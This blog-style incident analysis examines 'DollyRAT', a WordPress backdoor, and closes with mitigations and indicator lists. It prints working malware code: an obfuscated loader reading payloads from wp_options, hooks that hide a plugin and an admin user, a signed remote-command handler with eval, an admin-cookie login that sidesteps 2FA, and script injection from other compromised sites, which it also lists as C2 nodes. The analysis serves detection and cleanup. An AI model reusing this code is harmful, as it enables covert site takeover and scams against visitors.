TLDR
We have found a stealthy WordPress RAT we named DollyRAT, which
- has C2 functionality to load new targets
- allows remote access to the website, executing code
- allows login as an administrator, effectively bypassing Wordfence 2FA
- delivers malicious JavaScript to endusers of the website
- resulting in scams like "Accept Notifications to show you're not a robot" and more
In the last few weeks, I consulted on an incident, where > 10 WordPress sites were hacked. There were many low-effort webshells ("Giev Param, I'll execute it") present, with easy-to-find strings that were also picked up by Wordfence.
What we didn't find was any requests to these webshells in any of the access logs. Strange. Also, no suspicious behaviour in there. Logging into the WordPress backend, We also didn't see any maliciously created users, posts or plugins. Of course, you can't believe the WordPress backend on this one.
As the administrative user created by the RAT has never logged in and we did not find evidence of 'manual' activities on the pages we analyzed, we conclude that delivering these scams to users is the main goal.
The existence of a cron job always loading new targets also hint to a scheme where websites are hacked, infected with Dolly RAT and then added to a botnet of sites which is mainly used to deliver other forms of payloads and scams.
Finding Dolly
Something that struck me as odd was a strange plugin we found in the filesystem of each of the websites we had a look at. I did review the source code briefly, but concluded that it was not malicious. Also, Wordfence would have deleted it if it was, right?
Wrong.
Searching the Database
The way we found this RAT then was completely by accident to be honest. I was looking through the option_name
s in WordPress' wp_options
table, when two struck out: bbat
(no clue what this is supposed to be) and source_file
. I had a look at the value of bbat
and immediately knew I struck gold. Its value was file_put_contents
. Someone tried to hide malicious functionality from me, and nearly was successful.
With this, the rest of the pieces fell into place. And honestly, I was amazed by the complexity and thought put into this malware. My spidey-senses were activated. This was going to be much more fun than the 'stupid' webshells we have seen before.
During our research, we tried to find articles on this particular malware, but only came up with one article from Trend Micro, which classifies it as Backdoor.PHP.DOLLYWAY.A
. It has some information, but was not technical enough. We hope this post can help some of you during an incident.
Analyzing...
The RAT itself has two parts: A non-malicious-looking plugin, and malicious code stored in the database. Let's have a look at them both.
The (non-)malicious Plugin
The plugins used to obfuscate the real malware look like they have been copied together with methods belonging to different plugins and themes (many of them not supported anymore) to create an innocent-looking php file someone might have installed at some point. It includes code like:
function player_visibility(){
$sfsi_form_border = get_option('scannedTheme');
$tmp_dst_h = get_option('formBuilderEnableAC');
$arrowVisibility = $sfsi_form_border($tmp_dst_h(),'wp');
if(strlen($arrowVisibility) < 5){
$arrowVisibility = '=====' . $arrowVisibility;
}
return $arrowVisibility;
}
Just some PHP code loading some WordPress options, with no intent to... I don't know... world domination? Detailed inspection might lead to the conclusion that one has no idea what the intention of this piece of code is. But now knowing some malicious option_name
s, we could have a look at what the code in this plugin really does. Below the extracted malicious parts of the plugin file:
# file_put_contents
$postMap = get_option('bbat');
# [...]
# returns a filename for a temporary file
function player_visibility(){
# tmpnam
$sfsi_form_border = get_option('scannedTheme');
# sys_get_temp_dir
$tmp_dst_h = get_option('formBuilderEnableAC');
# tempnam(sys_get_temp_dir, 'wp')
$arrowVisibility = $sfsi_form_border($tmp_dst_h(),'wp');
# if filename is shorter than 5
if(strlen($arrowVisibility) < 5){
$arrowVisibility = '=====' . $arrowVisibility;
}
return $arrowVisibility;
}
# [...]
# returns the malicious part of Dolly RAT as string
function the_children(){
# <?php
$mb_fb_url = get_option('overlay_tag');
# dolly code
$referrer_urls = get_option('source_file');
# b64 decode
$current_translation_upgrade = get_option('merge_vars_error_array');
$benign_strings = $mb_fb_url. "\n";
$benign_strings = $benign_strings . $current_translation_upgrade($referrer_urls);
return $benign_strings;
}
# [...]
# writes the DollyRAT to a temporary file
# $postmap = file_put_contents
# $run_filter = tempfile sys temp dir
# the_children = the source code
$shy_replacement_char = $postMap($run_filter,the_children());
# [...]
# then, include it
if ($shy_replacement_char) {
require_once $run_filter;
}
With the malicious part now loaded, let's continue with our analysis.
The malicious part: DollyRAT
When base64-decoding the malicious code found in source_file
of wp_options
, we're greeted with the following code:
if(!defined('DOLLY_WAY')){ define('DOLLY_WAY', 'World Domination');}
Aah yes, it was about world domination all along! Just a few lines after this, DollyRAT unlink
s itself, effectively leaving no trace in the filesystem. This is probably as 'in-memory' as it gets for WordPress malware.
Stealth
But you can't dominate the world if you're hacking WordPress sites too obviously, so Dolly needs some functionality to hide its activities:
- Hide the plugin, which loads DollyRAT for each request made to the website
- Hide other activity – for example an administrative user
- Hide anything created by the RAT (Posts, Options)
- Stops Wordfence scans from running (We didn't analyze this, so this could also be because of other factors)
For this, the DollyRAT hooks into some WordPress filters and hooks:
function get_hello_file(){
$plug_name = get_option('child_form');
return $plug_name . '/' . $plug_name . '.php';
}
add_filter( 'all_plugins', 'filter_function_name_hello' );
function filter_function_name_hello( $all_plugins ){
$plug = get_hello_file();
unset($all_plugins[$plug]);
return $all_plugins;
}
add_filter( 'admin_print_footer_scripts', 'disable_plugin_select' );
function disable_plugin_select( $actions ){
$plug = get_hello_file();
?>
<script type="text/javascript">
jQuery(function($){
$("#plugin option[value='<?php echo $plug; ?>']"). remove();
});
</script>
<?php
}
add_filter( 'admin_print_footer_scripts', 'hide_dolly' );
function hide_dolly ( $actions ){
?>
<script type="text/javascript">
jQuery(function($){
$('tr:contains("child_form")'). remove();
$('tr:contains("zip_folder_name")'). remove();
$('tr:contains("team_filter_scroll_top")'). remove();
$('tr:contains("role_required")'). remove();
$('tr:contains("isCaseSensitive")'). remove();
$('tr:contains("source_file")'). remove();
$('tr:contains("merge_vars_error_array")'). remove();
$('tr:contains("bbat")'). remove();
$('tr:contains("scannedTheme")'). remove();
$('tr:contains("formBuilderEnableAC")'). remove();
$('tr:contains("thirdPartyCategoriesElements")'). remove();
$('tr:contains("acx_csma_logo_text_color1")'). remove();
$('tr:contains("overlay_tag")'). remove();
});
</script>
<?php
}
function yoursite_pre_user_query($user_search) {
global $current_user;
if ( ! empty( $current_user ) ) {
$username = $current_user->user_login;
if ($username != '1e66a295e6') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '1e66a295e6'",$user_search->query_where);
}
}
}
add_action('pre_user_query','yoursite_pre_user_query');
function dt_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
add_filter("views_users", "dt_list_table_views");
Having a look at the code above, some things become obvious:
- This thing is /really/ stealthy: It even manipulates the user count in the WordPress backend to hide its administrative user!
- the
hide_dolly
function shows exactly theoption_name
s used for its functionality – we can build a list of indicators of compromise (IOC for short) from this (see appendix)
Remote Access: Controlling a WordPress site
Okay, at this point we've probably done everything we can in WordPress to stay hidden. Time to control the hacked website. For this, Dolly includes an elaborate set of checks and functionality. It can:
- Create, update and delete posts
- Download post content
- Create a category
- Execute code via
eval
- Login as the first user with the role "administrator"
These actions are executed by issuing a POST request – to /wp-admin/admin-ajax.php. This is exactly why we haven't seen any malicious action in the access logs: It was hiding plain sight. POST requests to admin-ajax.php
are practically invisible in the noise and are legitimate... most of the time.
For each POST request, Dolly runs the following:
foreach ($_POST as $key => $value) {
if(88 == strlen($key)){
if (true === hello_check_sig($key,$value)){
hello_action($value);
}
}
}
function hello_check_sig($sign,$data){
$pubkey = '-----BEGIN PUBLIC KEY-----'."\n".'MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKLN9azzu/i/HYvYc+0CW5DViGIuCJbz'."\n".'23skWsSTwkO6wSga7QJU+m0elAll3iGTFOSFzXChhlluOrW6+VVLXb8CAwEAAQ=='."\n".'-----END PUBLIC KEY-----';
$public_key_res = openssl_get_publickey($pubkey);
$sign = base64_decode($sign);
$ok = openssl_verify($data, $sign, $public_key_res, OPENSSL_ALGO_SHA1);
if($ok == 1){
return true;
} else {
return false;
}
}
If the parameter name of the POST body is exactly 88 characters long, Dolly checks the signature of the $data
, and then runs hello_action
– the main remote management PHP function included in the malware. In there, the following code can be found (among other functionality) to log into a WordPress site as the first administrator of the website:
case "login":
add_action( 'plugins_loaded', 'hello_login' );
function hello_login() {
// get first administrator
$users = get_users( array(
'role' => 'administrator',
) );
$ids = wp_list_pluck( $users, 'ID' );
$id = $ids['0'];
// set the cookie and redirect to wp-admin
wp_set_auth_cookie( $id );
header('Location: wp-admin/');
die();
}
break;
This is notable, as it circumvents even the 2FA from Wordfence using built-in WordPress functionality. Very clever, I have to admit. This way, the login doesn't show in the security logs of Wordfence, and probably no (we didn't check this) 'admin has logged in'-email is generated as different actions are used than a normal login uses.
The dolly_event cron job
DollyRAT also creates a new cronjob, which runs on a daily basis. It updates an internal 'target' list saved – in our case – to the team_filter_scroll_top
option. The contents is simply a serialized PHP array:
a:2:{s:4:"subs";a:5:{i:0;s:13:"7911586164333";i:1;s:13:"7961591006225";i:2;s:13:"8001593090904";i:3;s:13:"8131599557550";i:4;s:13:"7531575880767";}s:5:"nodes";a:22:{i:0;s:33:"//blenderelements.com/wp-content/";i:1;s:35:"//swisdermindonesia.com/wp-content/";i:2;s:35:"//www.cronicapopular.es/wp-content/";i:3;s:44:"//www.healthhubmorayfield.com.au/wp-content/";i:4;s:32:"//www.marycremin.com/wp-content/";i:5;s:33:"//www.nikhilsalvi.com/wp-content/";i:6;s:37:"//www.superfaveadores.com/wp-content/";i:7;s:39:"//www.thecocreatorcoach.com/wp-content/";i:8;s:29:"//www.tntmedia.cz/wp-content/";i:9;s:34:"//magaliefonteneau.com/wp-content/";i:10;s:29:"//10goneviral.com/wp-content/";i:11;s:30:"//10kshortcuts.com/wp-content/";i:12;s:29:"//123abetterme.nl/wp-content/";i:13;s:24:"//171745.com/wp-content/";i:14;s:28:"//1735office.com/wp-content/";i:15;s:29:"//1800casinos.net/wp-content/";i:16;s:26:"//1981nk.store/wp-content/";i:17;s:46:"//1steaglemortgage.atigraphics.com/wp-content/";i:18;s:26:"//1stepsss.com/wp-content/";i:19;s:45:"//23rdbromleyscouts.org/wordpress/wp-content/";i:20;s:27:"//2k-reflex.com/wp-content/";i:21;s:27:"//2to4units.com/wp-content/";}}
In there, we can find a lot of other hacked wordpress sites. DollyRAT was very active, apparently. Every time dolly_event
runs, it accesses the nodes
one by one, loads a data.txt
from there, and updates its own target list. We believe this is the main C2 functionality, if no other things need to be done on the webpage via the remote access functionality seen above.
So now DollyRAT is hidden, can control a site, automatically loads new targets... but why? What's the goal?
The goal?
In the code we found the main goal of this malware: To deliver malicious JavaScript to its end users. Whenever a md5-hash (or double-md5-hash) of the original plugin's theme is present in the query string, it adds JavaScript to a page.
However, some conditions need to be met before:
- The User-Agent is checked against a denylist
- The user is not logged into the site
- Things like
localhost
or127.0.0.1
are not present in$_SERVER['QUERY_STRING']
If these conditions are met, DollyRAT loads one of the nodes from it's target list, and enqueues JavaScript to load a counts.php
with some parameters:
// encodes the http host, apparently for some kind of verification
$t_h = dolly_encode($_SERVER['HTTP_HOST']);
// gets target list
$options = unserialize(base64_decode(get_option('team_filter_scroll_top')));
$category = get_option('dolly_category','1');
// loops through three random nodes from it's target list
foreach (array_rand($options['nodes'], 3) as $node) {
$z = $options['nodes'][$node];
# e.g. string(51) "//www.marycremin[.]com/wp-content/counts.php?cat=1&t=<some verification thingy>"
$zz = $z . 'counts.php?cat=' . $category . '&t=' . $t_h;
# [...]
# adds a script-tag with source $zz
die();
}
The JavaScript loaded then redirects the user to scam-domains like take-yourprizes[.]life. This ends in the classics: from "You've won an iPhone" to "Allow Notifications to show you're not a robot". We concluded our analysis at this point, as looking at various scams might be funny and a guilty pleasure of mine, but ultimately yields no further information helping the incident at hand.
Mitigations
To clean a website from DollyRAT, one should:
- Delete the plugin it added: This should effectively kill the RAT's functionality
- Delete the created administrative user: The user is not visible in the WordPress admin backend, so make sure you have a look at the database as well
- Delete the wp_options values used by DollyRAT: A simple way to find some of the values is to run the following SQL query:
SELECT * FROM wp_options WHERE option_id > (select option_id from wp_options where option_value='file_put_contents') - 10 and option_id < (select option_id from wp_options where option_value='file_put_contents') + 10;
. This might include some real options used by the website, so make sure you double-check the results of this query. - Remove the cron job named
dolly_event
- Reset all user passwords
- Cycle all secrets used by the website
- Run an antivirus scan on your site with maximum sensivitity. DollyRAT might not be detected, but other webshells and persistence mechanisms will be.
- Conduct an investigation on how the site was originally hacked. The DollyRAT is the symptom, not the cause
Also, if you need help cleaning your site, or need some more information on the functionality or technical detail, please don't hesitate to contact me at contact@martinhaunschmid.com
Indicators of Compromise
Here are some IOCs we found.
Plugin Names
multisite-directory
cpt-single-redirects
insert-into-woocommerce
champis-net
cp-companion
rapo-recent-custom-posts-widget
made-in-icon-widget
precise-plugin-updater
featured-image-admin-thumb-fiat
edd-netbanx-gateway
paystack-for-give
cs-add-featured-image-to-rss-feed
min-and-max-quantity-rule-for-woocommerce
cusmin-themes
pod-marketing-analytics
wp-gcalendar
now-you-see-me
brand-my-footer
automatic-grid-image-listing
kantbtrue-content-bottom-ads
solvease-collapsible-user-profile-list-display
recipe-rich-pins-ziplist
hot-category-news
open-menu
wp_option Names
ays_exit_button
dayPosition
dtend2
get_height
insta_widget
mainOptionsPage
new_weights
nowisnow
selected_provider
slides_id_array
wsl_path
actionOnClose
defaultAtoms
englishTranslation
ew_error
fieldElement
leadStatus
mCurrent
show_child_pages
style_start
tooltip_html_class
voice_count
_cache_uri
arrayofvalues
et_logoImages
hestia_features_title_control
Mark1Array
mpp_instruction
payment_var
startPeriod
tokenFieldName
wcps_query_orderby
WooCommerce_Unpaid_Order_Status
_image_filmstrip_height
_transient_doing_cron
aXPaths
catopts
field_other
foobox_free_info
fp_temp_tar
idOrUrl
ImageCreateFunction
new_words
prefixed_key
woocommerce_wcfmmp_product_shipping_by_zone_settings
acx_csma_logo_text_color1
bbat
child_form
formBuilderEnableAC
isCaseSensitive
merge_vars_error_array
overlay_tag
scannedTheme
source_file
team_filter_scroll_top
thirdPartyCategoriesElements
_site_transient_update_plugins
_site_transient_update_themes
_transient_doing_cron
current_notifications
current_val
device_data
fields_positions
hide_filters
manuallyProvidedAttributes
max_emails
oldSendingMethod
seconds_to_show
typenl
xml_settlement
_site_transient_jet_dashboard_license_expire_check
_site_transient_timeout_jet_dashboard_license_expire_check
_transient_doing_cron
_transient_timeout_wpml-tm-ate-api-cache
_transient_wpml-tm-ate-api-cache
aAllowedTags
atts2
disable_scaling
image_max_width
knowndisputedId
locationState
random
reaction_check
retinasOpt
SqliteDir
sWhitelistParam
_global_ns
cb_address_control
chosen_js
imgtotal
instagram_feed_type
is_beside
nhash
previous_subject
returnHTMLinsideProc
xml_db_results_module
xsub
css_label
fileHelper
group_capabilities_array
import_source
new_op
oauthClientId
opt_migrate_youtube
orderMaxDate
saved_formats
tableUnprefixed
Target
blob
blog_style_img_font_family
buttonclass3
convertResponseArray
newEntity
product_questions
replace_modifiers
staleness
supported_posts
u_prefix
wcfm_knowledgebase_messages
enable_fa_pro
folder_file
get_attached_location_with_menu
keepBasic
mergeFieldKey
mog_img
prod_field_names
reverse_children
taglist
thisColHoverOption
xmlRootName
_transient_doing_cron
category_level
ChainPosClassSetOffset
currentActions
isForwardedValid
latest_event
number_of_backups_from_user
parsed_token_1
permalink_template
property_agent
rewrite_values
wte_usermeta_name
catRow
contact_information_controller
country_groups
hubCategories
initialToken
menu_section_ids
orintation
sFieldIDPrefix
sitemap_option
version_subparts
WYLaudio
admin_para
assetHost
default_msg
default_selected
post_id_nonce
sfb_style
sTestString
thumbnail_status
trackingArr
TrackingScriptsField
transferDecoderCommands
_promotion
bFa
completed_updates
ctf_statuses_option
empty_table
icon_fonts
new_platform
parenthetical
tempExt
v_method_name
vid_added
ch
do_not_remove_images
fdBoundingPoly
filters_media
logo_text
lyrics
nutrition
relevance_title_like
seo_post_type
suppress_version_number_update
vendor_details
cb_city_control
core_props
filter_has_list
footer_text
giving_level
imageCfiRangeType
key_for_persistance
message_translated
nav_settings
normalized_post_type_options
parentOpener
_transient_dash_v2_88ae138922fe95674369b1cb3d215a2b
_transient_doing_cron
_transient_global_styles_hello-elementor
_transient_timeout_dash_v2_88ae138922fe95674369b1cb3d215a2b
_transient_timeout_global_styles_hello-elementor
amendedDebtorAgent
bcountry
comment_delimiter
global_email_options
one_time
ptab
setloc
single_field_data_id
to_purchase
wc_templates
xpath_elements
__warningDataType
_rawBuffer
attempts_number
create_lock
curlabel
getid3_ogg
level_count
max_registrations_text
swl
uploadContinue
wphi_templates
applicableOptionNames
aUser
ffamily
liclass
live_example
numeric_params
set_metadesc
stabilityModifier
sun_set
surviving_cookies
WriteLabels
_aJSArray
canonicalIds
option_setting
ordered_packages
shortVersion
sql_pfhub_portfolio_grids
textarea_ph
title_compare
type_of_update
wassupmenu
woo_cate_product_cate_text_hover_color
_site_transient_update_plugins
_site_transient_update_themes
_transient_doing_cron
_transient_hmbkp_schedules
_transient_timeout_hmbkp_schedules
ad2_node
content_after_menu_element
default_configuration
newfile_post
old_path_data
reqs_met
speakers_terms
theme_compatible_array
tracking_enabled_data
usr_data
valueElementName
wpurlhttp
Cron Jobs
dolly_event